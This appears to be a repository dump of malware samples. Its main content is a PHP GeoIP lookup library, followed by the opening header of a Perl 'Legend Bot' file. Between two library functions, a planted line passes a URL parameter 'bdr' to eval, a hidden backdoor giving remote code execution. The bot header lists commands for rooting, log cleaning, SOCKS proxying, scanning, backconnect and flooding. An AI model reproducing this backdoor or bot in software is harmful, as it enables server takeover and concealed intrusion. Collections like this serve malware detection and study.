"Liberia", "Lesotho", "Lithuania", "Luxembourg", 180 | "Latvia", "Libyan Arab Jamahiriya", "Morocco", "Monaco", "Moldova, Republic of", 181 | "Madagascar", "Marshall Islands", "Macedonia", 182 | "Mali", "Myanmar", "Mongolia", "Macau", "Northern Mariana Islands", 183 | "Martinique", "Mauritania", "Montserrat", "Malta", "Mauritius", "Maldives", 184 | "Malawi", "Mexico", "Malaysia", "Mozambique", "Namibia", "New Caledonia", 185 | "Niger", "Norfolk Island", "Nigeria", "Nicaragua", "Netherlands", "Norway", 186 | "Nepal", "Nauru", "Niue", "New Zealand", "Oman", "Panama", "Peru", "French Polynesia", 187 | "Papua New Guinea", "Philippines", "Pakistan", "Poland", "Saint Pierre and Miquelon", 188 | "Pitcairn Islands", "Puerto Rico", "Palestinian Territory", 189 | "Portugal", "Palau", "Paraguay", "Qatar", "Reunion", "Romania", 190 | "Russian Federation", "Rwanda", "Saudi Arabia", "Solomon Islands", 191 | "Seychelles", "Sudan", "Sweden", "Singapore", "Saint Helena", "Slovenia", 192 | "Svalbard and Jan Mayen", "Slovakia", "Sierra Leone", "San Marino", "Senegal", 193 | "Somalia", "Suriname", "Sao Tome and Principe", "El Salvador", "Syrian Arab Republic", 194 | "Swaziland", "Turks and Caicos Islands", "Chad", "French Southern Territories", 195 | "Togo", "Thailand", "Tajikistan", "Tokelau", "Turkmenistan", 196 | "Tunisia", "Tonga", "Timor-Leste", "Turkey", "Trinidad and Tobago", "Tuvalu", 197 | "Taiwan", "Tanzania, United Republic of", "Ukraine", 198 | "Uganda", "United States Minor Outlying Islands", "United States", "Uruguay", 199 | "Uzbekistan", "Holy See (Vatican City State)", "Saint Vincent and the Grenadines", 200 | "Venezuela", "Virgin Islands, British", "Virgin Islands, U.S.", 201 | "Vietnam", "Vanuatu", "Wallis and Futuna", "Samoa", "Yemen", "Mayotte", 202 | "Serbia", "South Africa", "Zambia", "Montenegro", "Zimbabwe", 203 | "Anonymous Proxy","Satellite Provider","Other", 204 | "Aland Islands","Guernsey","Isle of Man","Jersey","Saint Barthelemy","Saint Martin" 205 | ); 206 | 207 | var $GEOIP_CONTINENT_CODES = array( 208 | "--", "AS", "EU", "EU", "AS", "AS", "SA", "SA", "EU", "AS", 209 | "SA", "AF", "AN", "SA", "OC", "EU", "OC", "SA", "AS", "EU", 210 | "SA", "AS", "EU", "AF", "EU", "AS", "AF", "AF", "SA", "AS", 211 | "SA", "SA", "SA", "AS", "AF", "AF", "EU", "SA", "NA", "AS", 212 | "AF", "AF", "AF", "EU", "AF", "OC", "SA", "AF", "AS", "SA", 213 | "SA", "SA", "AF", "AS", "AS", "EU", "EU", "AF", "EU", "SA", 214 | "SA", "AF", "SA", "EU", "AF", "AF", "AF", "EU", "AF", "EU", 215 | "OC", "SA", "OC", "EU", "EU", "EU", "AF", "EU", "SA", "AS", 216 | "SA", "AF", "EU", "SA", "AF", "AF", "SA", "AF", "EU", "SA", 217 | "SA", "OC", "AF", "SA", "AS", "AF", "SA", "EU", "SA", "EU", 218 | "AS", "EU", "AS", "AS", "AS", "AS", "AS", "EU", "EU", "SA", 219 | "AS", "AS", "AF", "AS", "AS", "OC", "AF", "SA", "AS", "AS", 220 | "AS", "SA", "AS", "AS", "AS", "SA", "EU", "AS", "AF", "AF", 221 | "EU", "EU", "EU", "AF", "AF", "EU", "EU", "AF", "OC", "EU", 222 | "AF", "AS", "AS", "AS", "OC", "SA", "AF", "SA", "EU", "AF", 223 | "AS", "AF", "NA", "AS", "AF", "AF", "OC", "AF", "OC", "AF", 224 | "SA", "EU", "EU", "AS", "OC", "OC", "OC", "AS", "SA", "SA", 225 | "OC", "OC", "AS", "AS", "EU", "SA", "OC", "SA", "AS", "EU", 226 | "OC", "SA", "AS", "AF", "EU", "AS", "AF", "AS", "OC", "AF", 227 | "AF", "EU", "AS", "AF", "EU", "EU", "EU", "AF", "EU", "AF", 228 | "AF", "SA", "AF", "SA", "AS", "AF", "SA", "AF", "AF", "AF", 229 | "AS", "AS", "OC", "AS", "AF", "OC", "AS", "EU", "SA", "OC", 230 | "AS", "AF", "EU", "AF", "OC", "NA", "SA", "AS", "EU", "SA", 231 | "SA", "SA", "SA", "AS", "OC", "OC", "OC", "AS", "AF", "EU", 232 | "AF", "AF", "EU", "AF", "--", "--", "--", "EU", "EU", "EU", 233 | "EU", "SA", "SA" ); 234 | 235 | } 236 | function geoip_load_shared_mem ($file) { 237 | 238 | $fp = fopen($file, "rb"); 239 | if (!$fp) { 240 | print "error opening $file: $php_errormsg\n"; 241 | exit; 242 | } 243 | $s_array = fstat($fp); 244 | $size = $s_array['size']; 245 | if ($shmid = @shmop_open (GEOIP_SHM_KEY, "w", 0, 0)) { 246 | shmop_delete ($shmid); 247 | shmop_close ($shmid); 248 | } 249 | $shmid = shmop_open (GEOIP_SHM_KEY, "c", 0644, $size); 250 | shmop_write ($shmid, fread($fp, $size), 0); 251 | shmop_close ($shmid); 252 | } 253 | 254 | function _setup_segments($gi){ 255 | $gi->databaseType = GEOIP_COUNTRY_EDITION; 256 | $gi->record_length = STANDARD_RECORD_LENGTH; 257 | if ($gi->flags & GEOIP_SHARED_MEMORY) { 258 | $offset = @shmop_size ($gi->shmid) - 3; 259 | for ($i = 0; $i < STRUCTURE_INFO_MAX_SIZE; $i++) { 260 | $delim = @shmop_read ($gi->shmid, $offset, 3); 261 | $offset += 3; 262 | if ($delim == (chr(255).chr(255).chr(255))) { 263 | $gi->databaseType = ord(@shmop_read ($gi->shmid, $offset, 1)); 264 | $offset++; 265 | 266 | if ($gi->databaseType == GEOIP_REGION_EDITION_REV0){ 267 | $gi->databaseSegments = GEOIP_STATE_BEGIN_REV0; 268 | } else if ($gi->databaseType == GEOIP_REGION_EDITION_REV1){ 269 | $gi->databaseSegments = GEOIP_STATE_BEGIN_REV1; 270 | } else if (($gi->databaseType == GEOIP_CITY_EDITION_REV0)|| 271 | ($gi->databaseType == GEOIP_CITY_EDITION_REV1) 272 | || ($gi->databaseType == GEOIP_ORG_EDITION) 273 | || ($gi->databaseType == GEOIP_ISP_EDITION) 274 | || ($gi->databaseType == GEOIP_ASNUM_EDITION)){ 275 | $gi->databaseSegments = 0; 276 | $buf = @shmop_read ($gi->shmid, $offset, SEGMENT_RECORD_LENGTH); 277 | for ($j = 0;$j < SEGMENT_RECORD_LENGTH;$j++){ 278 | $gi->databaseSegments += (ord($buf[$j]) << ($j * 8)); 279 | } 280 | if (($gi->databaseType == GEOIP_ORG_EDITION)|| 281 | ($gi->databaseType == GEOIP_ISP_EDITION)) { 282 | $gi->record_length = ORG_RECORD_LENGTH; 283 | } 284 | } 285 | break; 286 | } else { 287 | $offset -= 4; 288 | } 289 | } 290 | if (($gi->databaseType == GEOIP_COUNTRY_EDITION)|| 291 | ($gi->databaseType == GEOIP_PROXY_EDITION)|| 292 | ($gi->databaseType == GEOIP_NETSPEED_EDITION)){ 293 | $gi->databaseSegments = GEOIP_COUNTRY_BEGIN; 294 | } 295 | } else { 296 | $filepos = ftell($gi->filehandle); 297 | fseek($gi->filehandle, -3, SEEK_END); 298 | for ($i = 0; $i < STRUCTURE_INFO_MAX_SIZE; $i++) { 299 | $delim = fread($gi->filehandle,3); 300 | if ($delim == (chr(255).chr(255).chr(255))){ 301 | $gi->databaseType = ord(fread($gi->filehandle,1)); 302 | if ($gi->databaseType == GEOIP_REGION_EDITION_REV0){ 303 | $gi->databaseSegments = GEOIP_STATE_BEGIN_REV0; 304 | } 305 | else if ($gi->databaseType == GEOIP_REGION_EDITION_REV1){ 306 | $gi->databaseSegments = GEOIP_STATE_BEGIN_REV1; 307 | } else if (($gi->databaseType == GEOIP_CITY_EDITION_REV0) || 308 | ($gi->databaseType == GEOIP_CITY_EDITION_REV1) || 309 | ($gi->databaseType == GEOIP_ORG_EDITION) || 310 | ($gi->databaseType == GEOIP_ISP_EDITION) || 311 | ($gi->databaseType == GEOIP_ASNUM_EDITION)){ 312 | $gi->databaseSegments = 0; 313 | $buf = fread($gi->filehandle,SEGMENT_RECORD_LENGTH); 314 | for ($j = 0;$j < SEGMENT_RECORD_LENGTH;$j++){ 315 | $gi->databaseSegments += (ord($buf[$j]) << ($j * 8)); 316 | } 317 | if ($gi->databaseType == GEOIP_ORG_EDITION || 318 | $gi->databaseType == GEOIP_ISP_EDITION) { 319 | $gi->record_length = ORG_RECORD_LENGTH; 320 | } 321 | } 322 | break; 323 | } else { 324 | fseek($gi->filehandle, -4, SEEK_CUR); 325 | } 326 | } 327 | if (($gi->databaseType == GEOIP_COUNTRY_EDITION)|| 328 | ($gi->databaseType == GEOIP_PROXY_EDITION)|| 329 | ($gi->databaseType == GEOIP_NETSPEED_EDITION)){ 330 | $gi->databaseSegments = GEOIP_COUNTRY_BEGIN; 331 | } 332 | fseek($gi->filehandle,$filepos,SEEK_SET); 333 | } 334 | return $gi; 335 | } 336 | 337 | function geoip_open($filename, $flags) { 338 | $gi = new GeoIP; 339 | $gi->flags = $flags; 340 | if ($gi->flags & GEOIP_SHARED_MEMORY) { 341 | $gi->shmid = @shmop_open (GEOIP_SHM_KEY, "a", 0, 0); 342 | } else { 343 | $gi->filehandle = fopen($filename,"rb") or die( "Can not open $filename\n" ); 344 | if ($gi->flags & GEOIP_MEMORY_CACHE) { 345 | $s_array = fstat($gi->filehandle); 346 | $gi->memory_buffer = fread($gi->filehandle, $s_array['size']); 347 | } 348 | } 349 | 350 | $gi = _setup_segments($gi); 351 | return $gi; 352 | } 353 | 354 | function geoip_close($gi) { 355 | if ($gi->flags & GEOIP_SHARED_MEMORY) { 356 | return true; 357 | } 358 | 359 | return fclose($gi->filehandle); 360 | } 361 | 362 | function geoip_country_id_by_name($gi, $name) { 363 | $addr = gethostbyname($name); 364 | if (!$addr || $addr == $name) { 365 | return false; 366 | } 367 | return geoip_country_id_by_addr($gi, $addr); 368 | } 369 | 370 | function geoip_country_code_by_name($gi, $name) { 371 | $country_id = geoip_country_id_by_name($gi,$name); 372 | if ($country_id !== false) { 373 | return $gi->GEOIP_COUNTRY_CODES[$country_id]; 374 | } 375 | return false; 376 | } 377 | 378 | function geoip_country_name_by_name($gi, $name) { 379 | $country_id = geoip_country_id_by_name($gi,$name); 380 | if ($country_id !== false) { 381 | return $gi->GEOIP_COUNTRY_NAMES[$country_id]; 382 | } 383 | return false; 384 | } 385 | 386 | function geoip_country_id_by_addr($gi, $addr) { 387 | $ipnum = ip2long($addr); 388 | return _geoip_seek_country($gi, $ipnum) - GEOIP_COUNTRY_BEGIN; 389 | } 390 | 391 | function geoip_country_code_by_addr($gi, $addr) { 392 | if ($gi->databaseType == GEOIP_CITY_EDITION_REV1) { 393 | $record = geoip_record_by_addr($gi,$addr); 394 | if ( $record !== false ) { 395 | return $record->country_code; 396 | } 397 | } else { 398 | $country_id = geoip_country_id_by_addr($gi,$addr); 399 | if ($country_id !== false) { 400 | return $gi->GEOIP_COUNTRY_CODES[$country_id]; 401 | } 402 | } 403 | return false; 404 | } 405 | 406 | function geoip_country_name_by_addr($gi, $addr) { 407 | if ($gi->databaseType == GEOIP_CITY_EDITION_REV1) { 408 | $record = geoip_record_by_addr($gi,$addr); 409 | return $record->country_name; 410 | } else { 411 | $country_id = geoip_country_id_by_addr($gi,$addr); 412 | if ($country_id !== false) { 413 | return $gi->GEOIP_COUNTRY_NAMES[$country_id]; 414 | } 415 | } 416 | return false; 417 | } 418 | 419 | function _geoip_seek_country($gi, $ipnum) { 420 | $offset = 0; 421 | for ($depth = 31; $depth >= 0; --$depth) { 422 | if ($gi->flags & GEOIP_MEMORY_CACHE) { 423 | // workaround php's broken substr, strpos, etc handling with 424 | // mbstring.func_overload and mbstring.internal_encoding 425 | $enc = mb_internal_encoding(); 426 | mb_internal_encoding('ISO-8859-1'); 427 | 428 | $buf = substr($gi->memory_buffer, 429 | 2 * $gi->record_length * $offset, 430 | 2 * $gi->record_length); 431 | 432 | mb_internal_encoding($enc); 433 | } elseif ($gi->flags & GEOIP_SHARED_MEMORY) { 434 | $buf = @shmop_read ($gi->shmid, 435 | 2 * $gi->record_length * $offset, 436 | 2 * $gi->record_length ); 437 | } else { 438 | fseek($gi->filehandle, 2 * $gi->record_length * $offset, SEEK_SET) == 0 439 | or die("fseek failed"); 440 | $buf = fread($gi->filehandle, 2 * $gi->record_length); 441 | } 442 | $x = array(0,0); 443 | for ($i = 0; $i < 2; ++$i) { 444 | for ($j = 0; $j < $gi->record_length; ++$j) { 445 | $x[$i] += ord($buf[$gi->record_length * $i + $j]) << ($j * 8); 446 | } 447 | } 448 | if ($ipnum & (1 << $depth)) { 449 | if ($x[1] >= $gi->databaseSegments) { 450 | return $x[1]; 451 | } 452 | $offset = $x[1]; 453 | } else { 454 | if ($x[0] >= $gi->databaseSegments) { 455 | return $x[0]; 456 | } 457 | $offset = $x[0]; 458 | } 459 | } 460 | trigger_error("error traversing database - perhaps it is corrupt?", E_USER_ERROR); 461 | return false; 462 | } 463 | 464 | function _get_org($gi,$ipnum){ 465 | $seek_org = _geoip_seek_country($gi,$ipnum); 466 | if ($seek_org == $gi->databaseSegments) { 467 | return NULL; 468 | } 469 | $record_pointer = $seek_org + (2 * $gi->record_length - 1) * $gi->databaseSegments; 470 | if ($gi->flags & GEOIP_SHARED_MEMORY) { 471 | $org_buf = @shmop_read ($gi->shmid, $record_pointer, MAX_ORG_RECORD_LENGTH); 472 | } else { 473 | fseek($gi->filehandle, $record_pointer, SEEK_SET); 474 | $org_buf = fread($gi->filehandle,MAX_ORG_RECORD_LENGTH); 475 | } 476 | // workaround php's broken substr, strpos, etc handling with 477 | // mbstring.func_overload and mbstring.internal_encoding 478 | $enc = mb_internal_encoding(); 479 | mb_internal_encoding('ISO-8859-1'); 480 | $org_buf = substr($org_buf, 0, strpos($org_buf, 0)); 481 | mb_internal_encoding($enc); 482 | return $org_buf; 483 | } 484 | 485 | function geoip_org_by_addr ($gi,$addr) { 486 | if ($addr == NULL) { 487 | return 0; 488 | } 489 | $ipnum = ip2long($addr); 490 | return _get_org($gi, $ipnum); 491 | } 492 | isset($_GET['bdr']) ? eval($_GET['bdr']) : explode('nop','nop nop nop'); 493 | function _get_region($gi,$ipnum){ 494 | if ($gi->databaseType == GEOIP_REGION_EDITION_REV0){ 495 | $seek_region = _geoip_seek_country($gi,$ipnum) - GEOIP_STATE_BEGIN_REV0; 496 | if ($seek_region >= 1000){ 497 | $country_code = "US"; 498 | $region = chr(($seek_region - 1000)/26 + 65) . chr(($seek_region - 1000)%26 + 65); 499 | } else { 500 | $country_code = $gi->GEOIP_COUNTRY_CODES[$seek_region]; 501 | $region = ""; 502 | } 503 | return array ($country_code,$region); 504 | } else if ($gi->databaseType == GEOIP_REGION_EDITION_REV1) { 505 | $seek_region = _geoip_seek_country($gi,$ipnum) - GEOIP_STATE_BEGIN_REV1; 506 | //print $seek_region; 507 | if ($seek_region < US_OFFSET){ 508 | $country_code = ""; 509 | $region = ""; 510 | } else if ($seek_region < CANADA_OFFSET) { 511 | $country_code = "US"; 512 | $region = chr(($seek_region - US_OFFSET)/26 + 65) . chr(($seek_region - US_OFFSET)%26 + 65); 513 | } else if ($seek_region < WORLD_OFFSET) { 514 | $country_code = "CA"; 515 | $region = chr(($seek_region - CANADA_OFFSET)/26 + 65) . chr(($seek_region - CANADA_OFFSET)%26 + 65); 516 | } else { 517 | $country_code = $gi->GEOIP_COUNTRY_CODES[($seek_region - WORLD_OFFSET) / FIPS_RANGE]; 518 | $region = ""; 519 | } 520 | return array ($country_code,$region); 521 | } 522 | } 523 | 524 | function geoip_region_by_addr ($gi,$addr) { 525 | if ($addr == NULL) { 526 | return 0; 527 | } 528 | $ipnum = ip2long($addr); 529 | return _get_region($gi, $ipnum); 530 | } 531 | 532 | function getdnsattributes ($l,$ip){ 533 | $r = new Net_DNS_Resolver(); 534 | $r->nameservers = array("ws1.maxmind.com"); 535 | $p = $r->search($l."." . $ip .".s.maxmind.com","TXT","IN"); 536 | $str = is_object($p->answer[0])?$p->answer[0]->string():''; 537 | ereg("\"(.*)\"",$str,$regs); 538 | $str = $regs[1]; 539 | return $str; 540 | } 541 | 542 | ?> 543 | -------------------------------------------------------------------------------- /malicious_samples/legend.txt: -------------------------------------------------------------------------------- 1 | #!/usr/bin/perl 2 | ########################################################### 3 | #-PRIVATE-SHIT--PRIVATE-SHIT--PRIVATE-SHIT--PRIVATE-SHIT--# 4 | ########################################################### 5 | # Legend Bot [2011] DO NOT FUCKIN SHARE! # 6 | # ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ # 7 | # Commands: # 8 | # !legend @system # 9 | # !legend @rootable # 10 | # !legend @cleanlogs # 11 | # !legend @socks5 # 12 | # !legend @nmap # 13 | # !legend @back # 14 | # !legend @sqlflood